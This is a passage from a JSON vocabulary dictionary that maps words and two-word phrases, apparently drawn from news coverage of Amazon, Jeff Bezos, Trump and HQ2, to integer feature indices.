212644,\n  \"corporate espionage\": 212645,\n  \"pence publically\": 212646,\n  \"exponentially\": 212647,\n  \"j8i a4ee\": 212648,\n  \"worth far\": 212649,\n  \"competitive package\": 212650,\n  \"drooled\": 212651,\n  \"school closings\": 212652,\n  \"amazon everybody\": 212653,\n  \"creatures big\": 212654,\n  \"rights reserved\": 212655,\n  \"zocpbd43p7 josh\": 212656,\n  \"issue oftentimes\": 212657,\n  \"union workers\": 212658,\n  \"sptxzsegp5 lou\": 212659,\n  \"category\": 212660,\n  \"joked oliver\": 212661,\n  \"creek\": 212662,\n  \"members won\": 212663,\n  \"insights cnn\": 212664,\n  \"positive ones\": 212665,\n  \"directly prevent\": 212666,\n  \"highest priced\": 212667,\n  \"5k\": 212668,\n  \"189 shares\": 212669,\n  \"sp2\": 212670,\n  \"sign thank\": 212671,\n  \"shields sam\": 212672,\n  \"price target\": 212673,\n  \"blyons\": 212674,\n  \"really looking\": 212675,\n  \"aluminum tariffs\": 212676,\n  \"ballet student\": 212677,\n  \"kawas read\": 212678,\n  \"man alive\": 212679,\n  \"engineering niniane\": 212680,\n  \"longtime national\": 212681,\n  \"services believe\": 212682,\n  \"movie hayek\": 212683,\n  \"unwind tech\": 212684,\n  \"did year\": 212685,\n  \"550 million\": 212686,\n  \"proposed bezos\": 212687,\n  \"estate breaking\": 212688,\n  \"brian phillips\": 212689,\n  \"arrivals daca\": 212690,\n  \"governor aides\": 212691,\n  \"regime say\": 212692,\n  \"work knows\": 212693,\n  \"byproduct\": 212694,\n  \"johnson worked\": 212695,\n  \"amazon maybe\": 212696,\n  \"expansion unlikely\": 212697,\n  \"trumped concerns\": 212698,\n  \"case begin\": 212699,\n  \"distributed technology\": 212700,\n  \"order printings\": 212701,\n  \"clue\": 212702,\n  \"focused cloud\": 212703,\n  \"flood emergency\": 212704,\n  \"rains outside\": 212705,\n  \"torday\": 212706,\n  \"iraq leaves\": 212707,\n  \"thom tillis\": 212708,\n  \"shteyngart random\": 212709,\n  \"street movement\": 212710,\n  \"elegant limousines\": 212711,\n  \"clearly understand\": 212712,\n  \"woman trump\": 212713,\n  \"bps\": 212714,\n  \"repeated taunts\": 212715,\n  \"encana 8221\": 212716,\n  \"current\": 212717,\n  \"volunteer role\": 212718,\n  \"seller rating\": 212719,\n  \"southern living\": 212720,\n  \"praised\": 212721,\n  \"nanny\": 212722,\n  \"company billion\": 212723,\n  \"reprehensible\": 212724,\n  \"start really\": 212725,\n  \"resist price\": 212726,\n  \"declining ge\": 212727,\n  \"hill graffiti\": 212728,\n  \"automagically\": 212729,\n  \"getting closer\": 212730,\n  \"including hourly\": 212731,\n  \"combined amazon\": 212732,\n  \"amazon betty\": 212733,\n  \"behemoth tax\": 212734,\n  \"documents revealed\": 212735,\n  \"felt sheet\": 212736,\n  \"planned divorce\": 212737,\n  \"inaugural\": 212738,\n  \"401 emergency\": 212739,\n  \"middling\": 212740,\n  \"play deal\": 212741,\n  \"called rigged\": 212742,\n  \"aca\": 212743,\n  \"wins includinga\": 212744,\n  \"duke university\": 212745,\n  \"headquarters plan\": 212746,\n  \"showed americans\": 212747,\n  \"investment community\": 212748,\n  \"development initiative\": 212749,\n  \"camacho\": 212750,\n  \"sportswear qvc\": 212751,\n  \"environment filled\": 212752,\n  \"dockery publisher\": 212753,\n  \"believes wmt\": 212754,\n  \"fact amazon\": 212755,\n  \"new dispute\": 212756,\n  \"service saves\": 212757,\n  \"elections striking\": 212758,\n  \"animated clinton\": 212759,\n  \"fear amazon\": 212760,\n  \"peak holiday\": 212761,\n  \"wiser\": 212762,\n  \"cronyism chants\": 212763,\n  \"offering better\": 212764,\n  \"startup trying\": 212765,\n  \"narcos mexico\": 212766,\n  \"tony herbert\": 212767,\n  \"metro washington\": 212768,\n  \"tr ijr\": 212769,\n  \"jobs touted\": 212770,\n  \"imagines\": 212771,\n  \"ceo refused\": 212772,\n  \"growing threat\": 212773,\n  \"service obligations\": 212774,\n  \"contributor share\": 212775,\n  \"recent plan\": 212776,\n  \"food remedies\": 212777,\n  \"post styles\": 212778,\n  \"asked boeing\": 212779,\n  \"agreement bad\": 212780,\n  \"trump boasting\": 212781,\n  \"introduces new\": 212782,\n  \"newfound love\": 212783,\n  \"martinez needless\": 212784,\n  \"debunked trump\": 212785,\n  \"riches make\": 212786,\n  \"published number\": 212787,\n  \"earnings earnings\": 212788,\n  \"snap cuts\": 212789,\n  \"michael hicks\": 212790,\n  \"apparently exchanged\": 212791,\n  \"largest charter\": 212792,\n  \"sponsored washington\": 212793,\n  \"wasn gonna\": 212794,\n  \"retaining diverse\": 212795,\n  \"outsized pension\": 212796,\n  \"accounts savers\": 212797,\n  \"feng shui\": 212798,\n  \"amazon supports\": 212799,\n  \"greer jason\": 212800,\n  \"mount rates\": 212801,\n  \"appliances\": 212802,\n  \"vmw 150\": 212803,\n  \"raiser\": 212804,\n  \"international trade\": 212805,\n  \"fernandez jr\": 212806,\n  \"covering trump\": 212807,\n  \"drag\": 212808,\n  \"curtis withers\": 212809,\n  \"2017 melina\": 212810,\n  \"float\": 212811,\n  \"getty trump\": 212812,\n  \"39m\": 212813,\n  \"gates held\": 212814,\n  \"petition addressed\": 212815,\n  \"make worse\": 212816,\n  \"oversight bodies\": 212817,\n  \"law enforcement\": 212818,\n  \"learning read\": 212819,\n  \"shitholes melania\": 212820,\n  \"scooper air\": 212821,\n  \"lawyers accountants\": 212822,\n  \"ardent critics\": 212823,\n  \"indian standard\": 212824,\n  \"underway details\": 212825,\n  \"joke trump\": 212826,\n  \"wear trump\": 212827,\n  \"facebook roughly\": 212828,\n  \"l4\": 212829,\n  \"old embedded\": 212830,\n  \"york benicio\": 212831,\n  \"psc handles\": 212832,\n  \"remarkably low\": 212833,\n  \"economies vox\": 212834,\n  \"sfe\": 212835,\n  \"storied ovens\": 212836,\n  \"savoring\": 212837,\n  \"marcus ashworth\": 212838,\n  \"jets flying\": 212839,\n  \"global giants\": 212840,\n  \"pray executive\": 212841,\n  \"outwitted\": 212842,\n  \"executive anne\": 212843,\n  \"mccain announced\": 212844,\n  \"girl stars\": 212845,\n  \"china domestic\": 212846,\n  \"ruth\": 212847,\n  \"companies influence\": 212848,\n  \"decided erred\": 212849,\n  \"official washington\": 212850,\n  \"kenan thompson\": 212851,\n  \"locally owned\": 212852,\n  \"york supreme\": 212853,\n  \"patented\": 212854,\n  \"burglar\": 212855,\n  \"created different\": 212856,\n  \"run development\": 212857,\n  \"global opinions\": 212858,\n  \"protess\": 212859,\n  \"citylab\": 212860,\n  \"thoughtful views\": 212861,\n  \"numerous attendees\": 212862,\n  \"enquirer profile\": 212863,\n  \"won exactly\": 212864,\n  \"2017 quarterly\": 212865,\n  \"senators yeah\": 212866,\n  \"actor alleged\": 212867,\n  \"employee treatment\": 212868,\n  \"fda ppchd\": 212869,\n  \"qanon great\": 212870,\n  \"facing speculation\": 212871,\n  \"years warning\": 212872,\n  \"usps unsustainable\": 212873,\n  \"dozen associates\": 212874,\n  \"statements maybe\": 212875,\n  \"tootin good\": 212876,\n  \"chris cornillie\": 212877,\n  \"read emergencies\": 212878,\n  \"strong supporter\": 212879,\n  \"trade center\": 212880,\n  \"stardom emily\": 212881,\n  \"prominent trumpsters\": 212882,\n  \"operating officer\": 212883,\n  \"firs black\": 212884,\n  \"mueller office\": 212885,\n  \"dow components\": 212886,\n  \"medical associations\": 212887,\n  \"audience griffeth\": 212888,\n  \"bogo\": 212889,\n  \"patrick soon\": 212890,\n  \"months trump\": 212891,\n  \"day compared\": 212892,\n  \"surprise considering\": 212893,\n  \"transatlantic relationship\": 212894,\n  \"extensive lobbying\": 212895,\n  \"nostalgia\": 212896,\n  \"programmatically\": 212897,\n  \"respectively related\": 212898,\n  \"kings isbn\": 212899,\n  \"aspiring booksellers\": 212900,\n  \"f8 p8\": 212901,\n  \"building delivered\": 212902,\n  \"sanchez pictured\": 212903,\n  \"hasn cracked\": 212904,\n  \"salacious photographs\": 212905,\n  \"faced pointed\": 212906,\n  \"stanley druckenmiller\": 212907,\n  \"trump tariff\": 212908,\n  \"location kitchen\": 212909,\n  \"hmm morgan\": 212910,\n  \"premier soccer\": 212911,\n  \"martindale\": 212912,\n  \"article 6605745\": 212913,\n  \"everybody rich\": 212914,\n  \"shot naked\": 212915,\n  \"day yesterday\": 212916,\n  \"syringe disposal\": 212917,\n  \"desk computer\": 212918,\n  \"increases shipping\": 212919,\n  \"entered\": 212920,\n  \"online shipping\": 212921,\n  \"gavel\": 212922,\n  \"sellers service\": 212923,\n  \"duracell\": 212924,\n  \"functioning economy\": 212925,\n  \"conspirators\": 212926,\n  \"wouldn hold\": 212927,\n  \"reduced immigration\": 212928,\n  \"ride\": 212929,\n  \"linear fashion\": 212930,\n  \"company tjx\": 212931,\n  \"watched shows\": 212932,\n  \"taxes usps\": 212933,\n  \"higher charges\": 212934,\n  \"direct challenge\": 212935,\n  \"jobless rates\": 212936,\n  \"grain silos\": 212937,\n  \"shippers total\": 212938,\n  \"census 2020\": 212939,\n  \"nation best\": 212940,\n  \"affirms\": 212941,\n  \"size business\": 212942,\n  \"frequently publishes\": 212943,\n  \"trending ikea\": 212944,\n  \"groups wrote\": 212945,\n  \"computing contracting\": 212946,\n  \"distribute prescription\": 212947,\n  \"cramer thinks\": 212948,\n  \"reducing health\": 212949,\n  \"warner suit\": 212950,\n  \"hiking alongside\": 212951,\n  \"best compared\": 212952,\n  \"final stretch\": 212953,\n  \"free rezaian\": 212954,\n  \"bojan\": 212955,\n  \"kagan\": 212956,\n  \"editor photo\": 212957,\n  \"pecker tried\": 212958,\n  \"ad rivals\": 212959,\n  \"million sponsorship\": 212960,\n  \"businesses create\": 212961,\n  \"real world\": 212962,\n  \"provided texts\": 212963,\n  \"wins 1527845402\": 212964,\n  \"embracing\": 212965,\n  \"page draft\": 212966,\n  \"lsa days\": 212967,\n  \"best tour\": 212968,\n  \"daniel cooper\": 212969,\n  \"accurately\": 212970,\n  \"free live\": 212971,\n  \"fran\": 212972,\n  \"biceps\": 212973,\n  \"runs antithetical\": 212974,\n  \"shows deliveries\": 212975,\n  \"begin efforts\": 212976,\n  \"entered new\": 212977,\n  \"bonaventure nicolas\": 212978,\n  \"nadine\": 212979,\n  \"mam\": 212980,\n  \"original photo\": 212981,\n  \"weeks wawx\": 212982,\n  \"von nottrump\": 212983,\n  \"trading gasol\": 212984,\n  \"published long\": 212985,\n  \"mir\": 212986,\n  \"ayn\": 212987,\n  \"nominating\": 212988,\n  \"champions says\": 212989,\n  \"shock victory\": 212990,\n  \"stewardship helps\": 212991,\n  \"fearless quotemeorelse\": 212992,\n  \"skull fractures\": 212993,\n  \"seattle clark\": 212994,\n  \"based reporter\": 212995,\n  \"following topics\": 212996,\n  \"hastings endorsed\": 212997,\n  \"gossipy national\": 212998,\n  \"accepted bouquet\": 212999,\n  \"200 amazon\": 213000,\n  \"possibility president\": 213001,\n  \"virtual\": 213002,\n  \"disposal including\": 213003,\n  \"100 people\": 213004,\n  \"reasonable level\": 213005,\n  \"orrin hatch\": 213006,\n  \"students images\": 213007,\n  \"lotteries prizes\": 213008,\n  \"series docu\": 213009,\n  \"sources claiming\": 213010,\n  \"sector ultimately\": 213011,\n  \"neighborhood rezonings\": 213012,\n  \"concrete results\": 213013,\n  \"rate falls\": 213014,\n  \"target reduced\": 213015,\n  \"think contract\": 213016,\n  \"federal antitrust\": 213017,\n  \"freighters\": 213018,\n  \"motivating\": 213019,\n  \"competitions lot\": 213020,\n  \"b8 s8\": 213021,\n  \"existing infrastructure\": 213022,\n  \"alphabet present\": 213023,\n  \"expect reading\": 213024,\n  \"corporate services\": 213025,\n  \"semiannual sale\": 213026,\n  \"issuers\": 213027,\n  \"tech talent\": 213028,\n  \"tuxedo pre\": 213029,\n  \"milan\": 213030,\n  \"assessed thrive\": 213031,\n  \"missing written\": 213032,\n  \"government verify\": 213033,\n  \"tracker nick\": 213034,\n  \"maverick hot\": 213035,\n  \"officials later\": 213036,\n  \"viva\": 213037,\n  \"rehabilitation impeachment\": 213038,\n  \"right senator\": 213039,\n  \"stick click\": 213040,\n  \"empted\": 213041,\n  \"157 million\": 213042,\n  \"think ultimately\": 213043,\n  \"performed better\": 213044,\n  \"low profile\": 213045,\n  \"therapy little\": 213046,\n  \"magnitude witnessed\": 213047,\n  \"federal state\": 213048,\n  \"stakes deal\": 213049,\n  \"saudis\": 213050,\n  \"day kickoff\": 213051,\n  \"consistently backed\": 213052,\n  \"users paypal\": 213053,\n  \"claudia kennaugh\": 213054,\n  \"officer thanks\": 213055,\n  \"research details\": 213056,\n  \"stuffed pockets\": 213057,\n  \"people travelex\": 213058,\n  \"subscription boycottamazon\": 213059,\n  \"mchale\": 213060,\n  \"cbs corp\": 213061,\n  \"lik amazon\": 213062,\n  \"ballard\": 213063,\n  \"offering services\": 213064,\n  \"tough week\": 213065,\n  \"dislocated traditional\": 213066,\n  \"predicting blue\": 213067,\n  \"hit half\": 213068,\n  \"chagrin amazon\": 213069,\n  \"hiring new\": 213070,\n  \"bureaucratic holdovers\": 213071,\n  \"active\": 213072,\n  \"amazon rejecting\": 213073,\n  \"corp speaking\": 213074,\n  \"colin kaepernick\": 213075,\n  \"ian mcshane\": 213076,\n  \"return i4\": 213077,\n  \"regulatory research\": 213078,\n  \"local sales\": 213079,\n  \"mattingly yes\": 213080,\n  \"election crises\": 213081,\n  \"slick advertising\": 213082,\n  \"results surpassed\": 213083,\n  \"jokingly jeered\": 213084,\n  \"trial slated\": 213085,\n  \"unusually robust\": 213086,\n  \"working usa\": 213087,\n  \"risk recently\": 213088,\n  \"florence blew\": 213089,\n  \"received dime\": 213090,\n  \"trump tasked\": 213091,\n  \"pallavi kumar\": 213092,\n  \"force initially\": 213093,\n  \"juxtaposing\": 213094,\n  \"74th\": 213095,\n  \"solutions originated\": 213096,\n  \"consciousness regardless\": 213097,\n  \"create seamless\": 213098,\n  \"people starting\": 213099,\n  \"obvious nod\": 213100,\n  \"uber chief\": 213101,\n  \"telling ball\": 213102,\n  \"long beach\": 213103,\n  \"work cheapskates\": 213104,\n  \"renewed\": 213105,\n  \"president urging\": 213106,\n  \"queens cuomo\": 213107,\n  \"terrible contract\": 213108,\n  \"dinette\": 213109,\n  \"ex\": 213110,\n  \"pressure mark\": 213111,\n  \"defense logistics\": 213112,\n  \"amid complaints\": 213113,\n  \"nys senator\": 213114,\n  \"late 2014\": 213115,\n  \"corporate profits\": 213116,\n  \"offers scale\": 213117,\n  \"based pillpack\": 213118,\n  \"wrong product\": 213119,\n  \"special knowledge\": 213120,\n  \"tight economy\": 213121,\n  \"tower including\": 213122,\n  \"fitton\": 213123,\n  \"sprung walmart\": 213124,\n  \"torv18 jan\": 213125,\n  \"471\": 213126,\n  \"told stuart\": 213127,\n  \"basic counsel\": 213128,\n  \"proudly display\": 213129,\n  \"expletives\": 213130,\n  \"fencing far\": 213131,\n  \"saudi aramco\": 213132,\n  \"channels combined\": 213133,\n  \"rivers pour\": 213134,\n  \"summit ends\": 213135,\n  \"house acting\": 213136,\n  \"sister representative\": 213137,\n  \"vp2e7uy3aa \\u0627\\u0644\\u0639\\u0646\\u0640\\u0640\\u0640\\u0640\\u0648\\u062f\": 213138,\n  \"economic diplomatic\": 213139,\n  \"included saykara\": 213140,\n  \"tone deaf\": 213141,\n  \"telephone messages\": 213142,\n  \"flipkart majority\": 213143,\n  \"vacancy\": 213144,\n  \"va ronna\": 213145,\n  \"assembling lilac\": 213146,\n  \"jacob kastrenakes\": 213147,\n  \"stockpiling\": 213148,\n  \"amazon intentionally\": 213149,\n  \"business school\": 213150,\n  \"abc london\": 213151,\n  \"increasing supply\": 213152,\n  \"umbrella google\": 213153,\n  \"lobbying staff\": 213154,\n  \"virginia near\": 213155,\n  \"daily newsflash\": 213156,\n  \"output drops\": 213157,\n  \"fourth largest\": 213158,\n  \"firewalls\": 213159,\n  \"mansion kaya\": 213160,\n  \"finance parents\": 213161,\n  \"facebook forever\": 213162,\n  \"despite posting\": 213163,\n  \"winning wage\": 213164,\n  \"managed intl\": 213165,\n  \"independent conservative\": 213166,\n  \"png sortorder\": 213167,\n  \"adapt antitrust\": 213168,\n  \"regulators keith\": 213169,\n  \"dramatic year\": 213170,\n  \"manhattan east\": 213171,\n  \"cloud services\": 213172,\n  \"stone lauren\": 213173,\n  \"bee hosted\": 213174,\n  \"questions fast\": 213175,\n  \"malfunctioning\": 213176,\n  \"neighborhood surrounding\": 213177,\n  \"men team\": 213178,\n  \"speech critical\": 213179,\n  \"estimates say\": 213180,\n  \"nsa declined\": 213181,\n  \"aides sent\": 213182,\n  \"dinosaurs fossil\": 213183,\n  \"flores justice\": 213184,\n  \"jersey playbook\": 213185,\n  \"konst\": 213186,\n  \"process started\": 213187,\n  \"forward bit\": 213188,\n  \"sena\": 213189,\n  \"ballroom used\": 213190,\n  \"care eighteen\": 213191,\n  \"trump scores\": 213192,\n  \"factset expect\": 213193,\n  \"suncor 8217\": 213194,\n  \"congresswomen carolyn\": 213195,\n  \"emergency gives\": 213196,\n  \"blackmailer\": 213197,\n  \"mktw shown\": 213198,\n  \"potential bad\": 213199,\n  \"app vine\": 213200,\n  \"cryptocurrency\": 213201,\n  \"major alternative\": 213202,\n  \"just wished\": 213203,\n  \"avoided making\": 213204,\n  \"si trump\": 213205,\n  \"directive dictates\": 213206,\n  \"miriam\": 213207,\n  \"science books\": 213208,\n  \"subsequently told\": 213209,\n  \"hq2 development\": 213210,\n  \"advanced micro\": 213211,\n  \"homelessness rates\": 213212,\n  \"fictionalized versions\": 213213,\n  \"lander capable\": 213214,\n  \"cdp report\": 213215,\n  \"developed nations\": 213216,\n  \"loss selling\": 213217,\n  \"lowest unemployment\": 213218,\n  \"good guess\": 213219,\n  \"arrested severe\": 213220,\n  \"wall protect\": 213221,\n  \"pastry airs\": 213222,\n  \"break confidentiality\": 213223,\n  \"development partnership\": 213224,\n  \"california ice\": 213225,\n  \"riveting anderson\": 213226,\n  \"formidable contender\": 213227,\n  \"workers rely\": 213228,\n  \"additionally consumers\": 213229,\n  \"twitter jim\": 213230,\n  \"proposed developing\": 213231,\n  \"market strong\": 213232,\n  \"buying lot\": 213233,\n  \"story kellyanne\": 213234,\n  \"subsequent nice\": 213235,\n  \"lobbying massive\": 213236,\n  \"institute isa\": 213237,\n  \"philanthropic\": 213238,\n  \"blowing\": 213239,\n  \"gained lot\": 213240,\n  \"giant derives\": 213241,\n  \"pamies norris\": 213242,\n  \"appletv\": 213243,\n  \"oversized\": 213244,\n  \"eric bruggink\": 213245,\n  \"dani\": 213246,\n  \"intense targets\": 213247,\n  \"forward marilyn\": 213248,\n  \"h8\": 213249,\n  \"plays politics\": 213250,\n  \"perfectly captured\": 213251,\n  \"does money\": 213252,\n  \"momentum builds\": 213253,\n  \"soared 467\": 213254,\n  \"feels pretty\": 213255,\n  \"jeter\": 213256,\n  \"told aide\": 213257,\n  \"amazon video\": 213258,\n  \"spur deforestation\": 213259,\n  \"largest greenhouse\": 213260,\n  \"scripts\": 213261,\n  \"clues exposed\": 213262,\n  \"dianaee tweeted\": 213263,\n  \"promoted shallow\": 213264,\n  \"delhi aug\": 213265,\n  \"eating disorder\": 213266,\n  \"magazine empire\": 213267,\n  \"continue growing\": 213268,\n  \"hot issues\": 213269,\n  \"ami showing\": 213270,\n  \"bezos jointly\": 213271,\n  \"34007608504\": 213272,\n  \"letter group\": 213273,\n  \"bezos bought\": 213274,\n  \"simpson president\": 213275,\n  \"help educate\": 213276,\n  \"congressional\": 213277,\n  \"long criticized\": 213278,\n  \"state oil\": 213279,\n  \"gift think\": 213280,\n  \"viral piece\": 213281,\n  \"retaliatory weapon\": 213282,\n  \"did confirm\": 213283,\n  \"steve carrell\": 213284,\n  \"stupendously profitable\": 213285,\n  \"renters say\": 213286,\n  \"campaign helping\": 213287,\n  \"ipo canaan\": 213288,\n  \"kospi\": 213289,\n  \"secure legitimacy\": 213290,\n  \"removed new\": 213291,\n  \"afghanistan insider\": 213292,\n  \"year mchugh\": 213293,\n  \"partners undermines\": 213294,\n  \"investigators centers\": 213295,\n  \"painkillers\": 213296,\n  \"strategy amazon\": 213297,\n  \"vote coming\": 213298,\n  \"fundamental analytical\": 213299,\n  \"balloting culminates\": 213300,\n  \"amazon modern\": 213301,\n  \"leapfrog\": 213302,\n  \"process including\": 213303,\n  \"credits based\": 213304,\n  \"molina\": 213305,\n  \"salvador allende\": 213306,\n  \"activity venturing\": 213307,\n  \"fake crimes\": 213308,\n  \"mike debonis\": 213309,\n  \"really hit\": 213310,\n  \"economics expert\": 213311,\n  \"philadelphia\": 213312,\n  \"tail powerhouse\": 213313,\n  \"event financial\": 213314,\n  \"creating real\": 213315,\n  \"songwriters music\": 213316,\n  \"provide logistical\": 213317,\n  \"wrong related\": 213318,\n  \"agence france\": 213319,\n  \"repeal obama\": 213320,\n  \"smooth deflecting\": 213321,\n  \"jebburacker\": 213322,\n  \"balanced despite\": 213323,\n  \"excerpts\": 213324,\n  \"consolidated\": 213325,\n  \"release nude\": 213326,\n  \"price chopping\": 213327,\n  \"trump hastily\": 213328,\n  \"coverage gasoline\": 213329,\n  \"protests dominion\": 213330,\n  \"ace\": 213331,\n  \"deregulatory policies\": 213332,\n  \"coyne georgia\": 213333,\n  \"old murder\": 213334,\n  \"doesn grovel\": 213335,\n  \"parliament democratic\": 213336,\n  \"stormy daniels\": 213337,\n  \"washington ___\": 213338,\n  \"employer geekwire\": 213339,\n  \"walmart commerce\": 213340,\n  \"court world\": 213341,\n  \"prolong fla\": 213342,\n  \"goodthreads\": 213343,\n  \"parents new\": 213344,\n  \"community boards\": 213345,\n  \"days national\": 213346,\n  \"information collected\": 213347,\n  \"tweet today\": 213348,\n  \"reimbursement year\": 213349,\n  \"shrank\": 213350,\n  \"proper taxes\": 213351,\n  \"soda\": 213352,\n  \"japanese drama\": 213353,\n  \"delhi preparing\": 213354,\n  \"shares closed\": 213355,\n  \"engage visitors\": 213356,\n  \"robert mucci\": 213357,\n  \"blackmail leaked\": 213358,\n  \"necessarily affect\": 213359,\n  \"set jeff\": 213360,\n  \"distributed geographic\": 213361,\n  \"malaysian deputy\": 213362,\n  \"nickname dubbing\": 213363,\n  \"repeatedly criticized\": 213364,\n  \"day conference\": 213365,\n  \"earning repeat\": 213366,\n  \"publishing tycoon\": 213367,\n  \"pharmacy industry\": 213368,\n  \"frameworks engage\": 213369,\n  \"proxies wrote\": 213370,\n  \"matt gillespie\": 213371,\n  \"intimidated\": 213372,\n  \"city brian\": 213373,\n  \"illness\": 213374,\n  \"worth jeff\": 213375,\n  \"rules won\": 213376,\n  \"estate advisors\": 213377,\n  \"home greer\": 213378,\n  \"boycottnetflix\": 213379,\n  \"chip cookies\": 213380,\n  \"supermicro customers\": 213381,\n  \"usps generating\": 213382,\n  \"605\": 213383,\n  \"shall await\": 213384,\n  \"supan\": 213385,\n  \"relationships\": 213386,\n  \"basis amazon\": 213387,\n  \"mcdonald received\": 213388,\n  \"new arms\": 213389,\n  \"acosta citing\": 213390,\n  \"diplomats trump\": 213391,\n  \"interested individuals\": 213392,\n  \"sourceamazon killing\": 213393,\n  \"including boston\": 213394,\n  \"startup cuseum\": 213395,\n  \"amazon nbsp\": 213396,\n  \"spectrum wonder\": 213397,\n  \"amazon streaming\": 213398,\n  \"republican roy\": 213399,\n  \"writer ted\": 213400,\n  \"amistad continue\": 213401,\n  \"genetically\": 213402,\n  \"repeat ordering\": 213403,\n  \"vast online\": 213404,\n  \"richard cohen\": 213405,\n  \"trigger crackdown\": 213406,\n  \"interview took\": 213407,\n  \"bathroom investigative\": 213408,\n  \"organizations filed\": 213409,\n  \"thunk\": 213410,\n  \"wealth bezos\": 213411,\n  \"assignment involves\": 213412,\n  \"share momentum\": 213413,\n  \"owner att\": 213414,\n  \"point peeling\": 213415,\n  \"new alexa\": 213416,\n  \"math u2x\": 213417,\n  \"trump loses\": 213418,\n  \"camaraderie\": 213419,\n  \"todefer\": 213420,\n  \"trump coffee\": 213421,\n  \"staggering story\": 213422,\n  \"facebook harley\": 213423,\n  \"foods employees\": 213424,\n  \"actors delivering\": 213425,\n  \"sales allowing\": 213426,\n  \"customer bases\": 213427,\n  \"serum\": 213428,\n  \"released details\": 213429,\n  \"washington community\": 213430,\n  \"theus postal\": 213431,\n  \"normalize\": 213432,\n  \"eoa\": 213433,\n  \"beef china\": 213434,\n  \"initial consultations\": 213435,\n  \"reputation woodward\": 213436,\n  \"congestion added\": 213437,\n  \"budget indie\": 213438,\n  \"watch meet\": 213439,\n  \"film crazy\": 213440,\n  \"trump signified\": 213441,\n  \"inbox copyrigh\": 213442,\n  \"city instead\": 213443,\n  \"reporter examines\": 213444,\n  \"continue processing\": 213445,\n  \"political attention\": 213446,\n  \"2018 nir\": 213447,\n  \"stalwart amazon\": 213448,\n  \"unparalleled chutzpah\": 213449,\n  \"danielle home\": 213450,\n  \"world renowned\": 213451,\n  \"independent agency\": 213452,\n  \"ai researcher\": 213453,\n  \"inquiring\": 213454,\n  \"discuss security\": 213455,\n  \"gives landlords\": 213456,\n  \"inequality amazon\": 213457,\n  \"isn terrible\": 213458,\n  \"publication measuring\": 213459,\n  \"people worry\": 213460,\n  \"energy information\": 213461,\n  \"main island\": 213462,\n  \"oversized sportscoat\": 213463,\n  \"new style\": 213464,\n  \"needed mta\": 213465,\n  \"forced amazon\": 213466,\n  \"followers needed\": 213467,\n  \"blame amazon\": 213468,\n  \"plus share\": 213469,\n  \"wildfire victim\": 213470,\n  \"scott walker\": 213471,\n  \"rigidity\": 213472,\n  \"bezos information\": 213473,\n  \"exhibiting bias\": 213474,\n  \"virginia\": 213475,\n  \"accuses amazon\": 213476,\n  \"premeditated saudi\": 213477,\n  \"denounced trump\": 213478,\n  \"yr reuters\": 213479,\n  \"solemn\": 213480,\n  \"administration new\": 213481,\n  \"156 shares\": 213482,\n  \"prime logoed\": 213483,\n  \"shook wall\": 213484,\n  \"unlike similar\": 213485,\n  \"force preliminary\": 213486,\n  \"good leading\": 213487,\n  \"instagram selfie\": 213488,\n  \"markets single\": 213489,\n  \"rabbit hole\": 213490,\n  \"million experts\": 213491,\n  \"dead instead\": 213492,\n  \"healing power\": 213493,\n  \"98point6 provides\": 213494,\n  \"reported ms\": 213495,\n  \"arlington answer\": 213496,\n  \"frank chung\": 213497,\n  \"consistent criticism\": 213498,\n  \"project requested\": 213499,\n  \"pressed pichai\": 213500,\n  \"analysts amazongo\": 213501,\n  \"register amazon\": 213502,\n  \"terrific\": 213503,\n  \"strategic initiatives\": 213504,\n  \"criticism cast\": 213505,\n  \"500 richest\": 213506,\n  \"tailing\": 213507,\n  \"bombardia bullmarkets\": 213508,\n  \"questionable business\": 213509,\n  \"tornadoes weather\": 213510,\n  \"nana\": 213511,\n  \"chanel armani\": 213512,\n  \"target 2016\": 213513,\n  \"beutler wash\": 213514,\n  \"football stadiums\": 213515,\n  \"relentlessly onward\": 213516,\n  \"wook ben\": 213517,\n  \"laura pullman\": 213518,\n  \"bob mueller\": 213519,\n  \"job brenda\": 213520,\n  \"india\": 213521,\n  \"review giving\": 213522,\n  \"law provided\": 213523,\n  \"proposed rules\": 213524,\n  \"box community\": 213525,\n  \"antitrust cases\": 213526,\n  \"amazon unyielding\": 213527,\n  \"remove citizenship\": 213528,\n  \"valley idaho\": 213529,\n  \"nanette hannah\": 213530,\n  \"leaky\": 213531,\n  \"food company\": 213532,\n  \"fdny\": 213533,\n  \"mirror similar\": 213534,\n  \"social movements\": 213535,\n  \"postage printed\": 213536,\n  \"special secretarial\": 213537,\n  \"california headquarters\": 213538,\n  \"vera wang\": 213539,\n  \"billion philanthropy\": 213540,\n  \"analyst reiterated\": 213541,\n  \"suggests scenario\": 213542,\n  \"bookscan data\": 213543,\n  \"shelf scanning\": 213544,\n  \"parties despite\": 213545,\n  \"betras\": 213546,\n  \"berk\": 213547,\n  \"services millions\": 213548,\n  \"coming jr\": 213549,\n  \"protect provisional\": 213550,\n  \"hiring spree\": 213551,\n  \"determining antitrust\": 213552,\n  \"ages dissing\": 213553,\n  \"2015 following\": 213554,\n  \"apple crosses\": 213555,\n  \"compatible big\": 213556,\n  \"facility woman\": 213557,\n  \"means money\": 213558,\n  \"prefab manufacturer\": 213559,\n  \"party seller\": 213560,\n  \"florida bomb\": 213561,\n  \"accelerate entry\": 213562,\n  \"243 409\": 213563,\n  \"onerous\": 213564,\n  \"customers personal\": 213565,\n  \"better orient\": 213566,\n  \"accounts related\": 213567,\n  \"divide looks\": 213568,\n  \"flicking switch\": 213569,\n  \"particular facilitated\": 213570,\n  \"consistently criticized\": 213571,\n  \"intrusive\": 213572,\n  \"chloe aiello\": 213573,\n  \"eu probe\": 213574,\n  \"claim national\": 213575,\n  \"shutdown bipartisan\": 213576,\n  \"999999 jacob\": 213577,\n  \"civic\": 213578,\n  \"infrastructure financing\": 213579,\n  \"cave diving\": 213580,\n  \"night going\": 213581,\n  \"yeti\": 213582,\n  \"amazon efforts\": 213583,\n  \"better shore\": 213584,\n  \"development asked\": 213585,\n  \"dollars griffeth\": 213586,\n  \"pecker included\": 213587,\n  \"2015 apple\": 213588,\n  \"harris smithsonian\": 213589,\n  \"bob woodwar\": 213590,\n  \"sought resorting\": 213591,\n  \"smart home\": 213592,\n  \"trade print\": 213593,\n  \"driver speeds\": 213594,\n  \"exercise power\": 213595,\n  \"follow barrage\": 213596,\n  \"\\u014273billion charitable\": 213597,\n  \"merely make\": 213598,\n  \"middle schoolers\": 213599,\n  \"sanders source\": 213600,\n  \"bary 415\": 213601,\n  \"controversy hurting\": 213602,\n  \"fuels efr\": 213603,\n  \"hearing goodlatte\": 213604,\n  \"future rate\": 213605,\n  \"sean mcgarvey\": 213606,\n  \"450 